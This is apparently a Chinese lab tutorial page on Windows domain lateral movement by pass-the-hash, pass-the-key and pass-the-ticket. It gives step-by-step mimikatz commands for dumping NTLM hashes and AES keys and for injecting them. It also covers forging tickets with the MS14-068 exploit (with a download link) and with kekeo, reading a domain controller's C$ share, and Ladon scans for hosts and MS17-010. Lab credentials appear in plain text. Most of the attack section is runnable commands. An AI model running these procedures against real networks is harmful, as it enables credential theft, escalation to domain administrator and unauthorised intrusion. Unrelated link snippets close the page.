p68 内网安全-域横向 PTHPTKPTT 哈希票据传递

news2025/5/14 15:38:02

数据来源

Kerberos 协议具体工作方法,在域中,简要介绍一下:

  • 客户机将明文密码进行 NTLM 哈希,然后和时间戳一起加密(使用krbtgt 密码 hash 作为密钥),发送给 kdc(域控),kdc 对用户进行检测,成功之后创建 TGT(Ticket-Granting Ticket)
  • 将 TGT 进行加密签名返回给客户机器,只有域用户 krbtgt 才能读 取 kerberos 中 TGT 数据
  • 然后客户机将 TGT 发送给域控制器 KDC 请求 TGS(票证授权服 务)票证,并且对 TGT 进行检测
  • 检测成功之后,将目标服务账户的 NTLM 以及 TGT 进行加密,将 加密后的结果返回给客户机
     

概念 (这三种方式的密文都通过mimikatz工具获取)

  • PTH (pass the hash)      # 利用 LM 或 NTLM 的值进行的渗透测试
  • PTT (pass the ticket)      # 利用的票据凭证 TGT 进行的渗透测试
  • PTK (pass the key)        # 利用的 ekeys aes256 进行的渗透测试

PTH和PTK

  • PTH 在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过 LM Hash 和 NTLM Hash 访问远程主机或服务,而不用提供明文密码。
  • 如果禁用了 ntlm 认证,PsExec 无法利用获得的 ntlm hash 进行远程连接,但是使用 mimikatz 还是可以攻击成功。对于 8.1/2012r2,安装补丁 kb2871997 的 Win 7/2008r2/8/2012 等,可以使用 AES keys 代替 NT hash 来实现 ptk 攻击
# mimikatz 简单使用
# 工具运行后先调试
privilege::debug 
          
# 获取 NTLM
sekurlsa::logonPasswords
        
# 获取AES
sekurlsa::ekeys

总结:KB2871997 补丁后的影响

  • PTH:打补丁前任意用户都可以连接打了补丁后只能 administrator 用户才可以连接

  • PTK:打补丁前不能连接打补丁后才能任意用户都可以连接(采用 aes256 连接,有两种一个aes256,另一个aes128  )

 使用 mimikatz 工具进行信息收集的截图:(文章后面会有详细的使用教程)

PTT

  • PTT 攻击的部分就不是简单的 NTLM 认证了,它是利用 Kerberos 协议进行攻击的,这里就介绍三种常见的攻击方法:
  • MS14-068,Golden ticket,SILVER ticket。简单来说就是将连接合法的票据注入到内存中实现连接。
  • Golden ticket(黄金票据),SILVER ticket(白银票据)属于权限维持技术
  • MS14-068 基于漏洞,造成的危害是允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是 kb3011780

演示案例:

  • 域横向移动 PTH 传递-Mimikatz
  • 域横向移动 PTK 传递-Mimikatz
  • 域横向移动 PTT 传递-MS14068&kekeo&local
  • 国产 Ladon 内网杀器测试验收-信息收集,连接等

Mimikatz官网:GitHub - gentilkiwi/mimikatz:一个玩Windows安全的小工具

案例 1-域横向移动 PTH 传递-mimikatz

PTH ntlm 传递

实验背景:你已经拿下一台内网主机,现在在这台内网主机进账号密文信息收集,看能不能撞库,其他内网主机的密文也是这个从而扩大影响

1)首先使用mimikatz收集一下目标主机保存在缓存中的账号信息

使用cmd启动mimikatz工具

privilege::debug     # 调试
 
sekurlsa::ekeys      # 获取 aes

sekurlsa::logonpasswords   # 收集PTH攻击方式的NTLM、LM信息

2)尝试攻击 - 我这里在win2007(域成员机/子机)尝试攻击2008虚拟机(域主机/域控制机)

# 切换到mimikatz工具目录下
cd C:\Users\zhangsan\Desktop\mimikatz_trunk\x64

# 启动
mimikatz

# 调试
privilege::debug

# 未打补丁下的工作组及域连接:
# 攻击
#                      账号          域/域名称我这里是ZS            NTLM值
sekurlsa::pth /user:administrator /domain:ZS /ntlm:442285a710fe49913e8b9a2861781eec
# 或 连接本地工作组
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:518b98ad4178a53695dc997aa02d455c
sekurlsa::pth /user:boss /domain:god /ntlm:ccef208c6485269c20db2cad21734fe7

        我感觉这个攻击方式不是很实用,我在域子机2007中执行命令提示没有权限,这个是域账号,如果现实中我都有域管理员权限了我还攻击他干嘛,域管理员账户可以登录所有的域成员机,这里我能想到这个攻击方式的作用就是,通过攻击获取到域管理员主机的cmd权限然后对域管理员那台机器进行一些操作(查看、下载、删除数据),解决:在win2007等域管理员账户,或用管理员账户打开cmd

先在现在的win2007(域成员机)获取域主机的ip地址,方便后面的攻击

# 判断主域(域主机/域控/域的控制机)
net time /domain

# ping主机名,获取对应的ip
ping WIN-I7NPA55KMBD.zs.com

这里就得到域主机的ip是:192.168.1.62 

 这里切换域管理员账户,继续执行攻击命令

然后就可以继续进行下一步攻击

# 尝试连接,确定攻击的目标地址(这里就用我们刚才获取到的域主机ip地址)
net use \\192.168.1.62 \c$
# 要执行的命令 域主机ip   要操作的文件目录
dir \\192.168.1.62\c$

案例 2-域横向移动 PTK 传递 - mimikatz

PTK aes256 传递

打补丁后的工作组及域连接:(不打补丁PTK是连接不了的

使用cmd启动mimikatz工具

privilege::debug     # 调试
 
sekurlsa::ekeys      # 获取 aes

sekurlsa::pth /user:mary /domain:ZS /aes256:e25cad5bcfdeb9191e2a2b5b87402659a9ae89197d55578b011eafed64e56fde

 然后就可以继续进行下一步攻击(案例1演示了收集域主机的ip,这里就不写了)

# 尝试连接,确定攻击的目标地址(这里就用我们刚才获取到的域主机ip地址)
net use \\192.168.1.62 \c$
# 要执行的命令 域主机ip   要操作的文件目录
dir \\192.168.1.62\c$

尝试给靶机打补丁,搞不了,放弃了,(如果是现实中我们也不需要知道目标有没有打补丁,无非就两个结果:没打:使用案例1的方式攻击、打了:使用当前案例的方式攻击

案例 3-域横向移动 PTT 传递-ms14068&kekeo&本地

第一种利用漏洞:MS14-068  下载:https://raw.githubusercontent.com/abatchy17/WindowsExploits/master/MS14-068/MS14-068.exe

能实现普通用户直接获取域控 system 权限(也就是说,你在一台普通域用户的机器上利用这个漏洞,那么这个域用户就变成域管理员权限,然后该域用户就可以控制整个域的所有机器了。)

一样是在win2007(域成员机)攻击win2008(域控) 

1)MS14-068 powershell 执行

2)执行一些命令:查看当前用户sid信息、删除用户凭证并伪造用户凭证、

# 查看当前 sid  (500是管理员、1000以上不普通用户)
whoami /user

切换账户再来

在普通的用户权限下使用mimikatz工具会报错的,可以演示一下

privilege::debug

不过可以在该工具中删除当前账号的凭证

kerberos::purge   # 清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造

查看凭证验证一下刚才的清空

# 查看凭证列表
klist

伪造凭证 

        一些参数的解释:MS14-068.exe (自己下载的工具)域成员名(就是当前域成员机的登录用户名) 域名域域控ip(上面的案例有介绍过如何获取)域成员密码(就是当前登录的账号密码)

# 利用 ms14-068 生成 TGT 数据
MS14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u zhangsan@zs.com -s S-1-5-21-823002632-3515170821-2603063757-1106 -d 192.168.1.62 -p 207080sA

3)将票据注入到内存中

可先输入:klist     # 查看当前的凭证列表是否为空再继续操作

# 在mimikatz工具中执行下面的命令
#                票据文件名 
kerberos::ptc TGT_zhangsan@zs.com.ccache

输入:klist    # 验证一下

4)开始攻击 

# 查看域名
net time /domain

# 利用
# 操作命令  域控名            要操作的目录
dir \\WIN-I7NPA55KMBD.zs.com\c$

第二种利用工具 kekeo

下载地址:github.com

方式一: (不推荐,管理员账户才行而且操作繁琐)

1)生成票据

# 生成票据              域用户名      域名                   NTLM值
kekeo "tgt::ask /user:administrator /domain:zs.com /ntlm:442285a710fe49913e8b9a2861781eec"

2) 导入票据

# 查看凭证
klist

# 如果存在之前的凭证就清除掉
kerberos::purge   # 清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造

​ 

导入票据

# 导入票据           票据文件名
kerberos::ptt TGT_administrator@ZS.COM_krbtgt~zs.com@ZS.COM.kirbi

3)攻击

# 查看域名
net time /domain

# 利用
# 操作命令  域控名            要操作的目录
dir \\WIN-I7NPA55KMBD.zs.com\c$

方式二:(推荐,操作简单,普通用户就好)(参考)

1、首先打开cmd输入下面的命令清空之前凭证

klist purge

 

2、直接生成有权限的凭证

#                                域名      普通域账号           密码
kekeo "exploit::ms14068 /domain:zs.com /user:zhangsan /password:207080sA /ptt"

 

3、直接就可以进行攻击了(dir 域控或者 PsExec 连接到域控了)

# 查看域名
net time /domain

# 利用
# 操作命令  域控名            要操作的目录
dir \\WIN-I7NPA55KMBD.zs.com\c$

第三种利用本地票据(需管理权限)

前提是之前连接过,所以有本地票据,但是票据会过期,有时间限制(10小时)

这个我感觉不实用,就不演示了

privilege::debug
sekurlsa::tickets /export
kerberos::ptt xxxxxxxxxx.xxxx.kirbi

总结:ptt 传递不需本地管理员权限,连接时主机名连接,基于漏洞,工具,本地票据 

案例 4-国产 Ladon内网杀器测试验收

信息收集-协议扫描-漏洞探针-传递攻击等

官网:GitHub - k8gege/Ladon: Ladon大型内网渗透工具

下载地址:https://github.com/k8gege/Ladon/archive/refs/heads/master.zip

使用参考  (参考)

 这里需要注意他的可执行文件名改成Ladon911.exe了使用时命令也要改,或者直接改这个文件名:

  • 目标主机进行存活探测、MAC地址探测及主机名探测

        Ladon.exe 192.168.1.0/24 ONlinePC

  • 探测主机是否存活

        Ladon.exe 192.168.1.0/24 ONlineIP

  • 对其目标主机进行禁ping扫描

        Ladon.exe noping 192.168.1.100

  • 对其目标主机网段进行禁ping端口开放扫描

        Ladon.exe noping 192.168.1.100 PortScan

  • 对其目标主机网段进行禁ping指定端口3389扫描

        Ladon.exe noping 192.168.1.100 PortScan 3389

  • 对其进行禁ping扫描其是否存在MS17010漏洞

        Ladon.exe 192.168.1.0/24 MS17010

 

这个工具功能挺多的,可以自己看官网,这个工具的官网是中文的还挺稀奇

 

涉及资源

  • GitHub - gentilkiwi/kekeo: A little toolbox to play with Microsoft Kerberos in C
  • https://github.com/k8gege/Ladon
  • 暗月免杀mimikatz
  • MS14-068/MS14-068.exe at master · ianxtianxt/MS14-068 · GitHub

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/458653.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C语言从入门到精通第11天(数组的基本操作)

数组的基本操作 数组的概念一维数组二维数组 数组的概念 在程序设计中,为了方便处理数据把具有相同类型的若干变量按有序形式集合在一起,这些按序排列的同类数据元素的集合称为数组。 在C语言中,数组属于构造数据类型,一个数组可…

聊聊如何通过APT+AST来实现AOP功能

前言 如果有使用过spring aop功能的小伙伴,应该都会知道spring aop主要是通过动态代理在运行时,对业务进行切面拦截操作。今天我们就来实现一下如何通过APTAST在编译期时实现AOP功能。不过在此之前先科普一下APT和AST相关内容 APT(注解处理…

Nginx的重写功能

一、常用的Nginx 正则表达式 字符涵义以及示例^匹配输入字符串的起始位置$匹配输入字符串的结束位置*匹配前面的字符零次或多次;如“ol*”能匹配“o”及“ol”、“oll”匹配前面的字符一次或多次;如“ol”能匹配“ol”及“oll”、“olll”,但…

智能建筑中电力监控系统的应用与产品选型

摘要:近几十年,中国现代化经济不断发展,计算机技术、信息技术等相关产业也取得了飞跃性的进步。随着商业、生活以及公共建筑不断提高智能管理和节能的要求,电力监控系统开始逐渐渗入人们的日常生活,发挥着不可替代的作…

Graphql中我们应该用什么姿势来实现Resolver?

Graphql中我们应该用什么姿势来实现Resolver? Graphql中我们应该用什么姿势来实现Resolver? 前言设计数据库定义 Type实现 Resolver按需组装查询语句请求数据库GraphQLResolveInfo附录 前言 我最近在用 Graphql 来弥补原先写的 RESTFUL 接口的一些短板。在实践过程中遇到…

实战Websocket

实战Websocket:从入门到自闭 作为前端开发人员,我们经常需要使用 Websocket 实现实时通信功能,如聊天室、实时数据展示、游戏等。近期我在一家公司实习工作中,也遇到了使用 Websocket 的场景,所以开始了解 Websocket …

第四章 使用Maven:IDEA环境

1、创建 Project2、开启自动导入 TIP 各个 IDEA 不同版本在具体操作方面存在一定差异,这里我们以 2019.3.3 版本为例进行演示。其它版本大家灵活变通即可。 第一节 创建父工程 创建 Project 开启自动导入 创建 Project 后,IDEA 会自动弹出下面提示…

有史以来第一次利用 Kubernetes RBAC 攻击后门集群

我们最近发现了有史以来第一个证据,表明攻击者正在野外利用 Kubernetes (K8s) 基于角色的访问控制 (RBAC) 创建后门。 攻击者还部署了 DaemonSets 来接管和劫持他们攻击的 K8s 集群的资源。我们的研究表明,该活动正在积极针对至少 60 个野外集群。 这…

026:Mapbox GL加载矢量切片数据源

第026个 点击查看专栏目录 本示例的目的是介绍演示如何在vue+mapbox中加载矢量切片数据源。将矢量源添加到地图。使用其 tileset URL(mapbox:// + tileset ID)添加任何 Mapbox 托管的 tileset。 直接复制下面的 vue+mapbox源代码,操作2分钟即可运行实现效果 文章目录 示例…

python@可变对象和不可变对象@按值传递和引用传递@python运行可视化工具

文章目录 可变对象和不可变对象🎈可视化工具🎈可变对象和idegeg变量名和内存地址🎈函数调用对参数的修改😂Note 按值传递vs引用传递note🎈如何借助函数修改外部变量的值?Note 可变对象和不可变对象🎈 在Py…

这些不可不知的JVM知识

JVM是面试中必问的部分,本文通过思维导图以面向面试的角度整理JVM中不可不知的知识。 先上图: JVM必备知识 1、JVM基本概念 1.1、JVM是什么 JVM 的全称是 「Java Virtual Machine」,也就是我们耳熟能详的 Java 虚拟机。 JVM具备着计算机的…

vue3 Pinia快速入门

为什么是Pinia 怎么说呢,其实在过往的大部分项目里面,我并没有引入过状态管理相关的库来维护状态。因为大部分的业务项目相对来说比较独立,哪怕自身功能复杂的时候,可能也仅仅是通过技术栈自身的提供的状态管理能力来处理业务场景…

huggingface下载的.arrow数据集读取与使用说明

1.数据下载方式:load_dataset 将数据集下载到本地:(此处下载的是一个物体目标检测的数据集) from datasets import load_dataset # 下载的数据集名称, model_name keremberke/plane-detection # 数据集保存的路径 save_path da…

苹果Mac电脑清理垃圾软件卸载工具CleanMyMac X

最近刚刚入手了一台 M1 Macbook,因为不是很懂下载了很多软件,然后又卸载了一些,导致系统内存在很多垃圾文件,我也不知道怎么清理,后来查询了一些资料,大家都普遍推荐 CleanMyMac X,于是经过我一…

触摸屏是如何诞生的,它又是如何影响和改变着我们的生活?

芊芊玉指在小小的屏幕上滑动,天下事便了然于胸。这就是手机触摸屏给我们的生活带来的改变。 曾几何时,我们是生活在九宫格或者全键盘上的“拇指族”。一股浪潮席卷而来,手机上的实体按键都消失了,虚拟按键仅在需要时出现。触摸屏是…

论文实验1、安装tensorflow运行节点嵌入相关方法

还是官方的教程好使 使用 pip 安装 TensorFlow 只有三步 1.安装python,版本太高不行,在推荐版本里选最高的。 2.安装python虚拟环境venv python -m venv --system-site-packages .\venv .\venv\Scripts\activate 3.在虚拟环境里装tensorflow pip…

vue的watch侦听器、watch的属性 immediate(侦听属性)、deep(侦听一个对象)

1.什么是watch侦听器 watch侦听器允许开发者监视数据的变化,从而针对数据的变化做特定的操作。 语法格式如下: const vm new Vue({el: #app,data: { username: },watch: {//监听username值的变化// newVal 是"变化后的新值”,oldVal 是"变…

Golang每日一练(leetDay0046)

目录 136. 只出现一次的数字 Single Number 🌟 137. 只出现一次的数字 II Single Number II 🌟🌟 260. 只出现一次的数字 III Single Number III 🌟🌟🌟 🌟 每日一练刷题专栏 &#x1f3…

linux docker搭建Zfile

1.下载镜像 docker pull stilleshan/zfile2.创建挂载目录 mkdir -p /opt/docker/zfile #自定义路径3.运行 docker run -d --namezfile --restartalways -p 1111:8080 \-v /opt/docker/zfile/conf:/root/.zfile-v4 \-v /opt/docker/zfile/data:/root/zfile/data \stillesha…

C/C++每日一练(20230425)

目录 1. 成绩分布 ※ 2. 汇总区间 🌟 3. 矩阵置零 🌟🌟 🌟 每日一练刷题专栏 🌟 Golang每日一练 专栏 Python每日一练 专栏 C/C每日一练 专栏 Java每日一练 专栏 1. 成绩分布 原标题:统计某一单…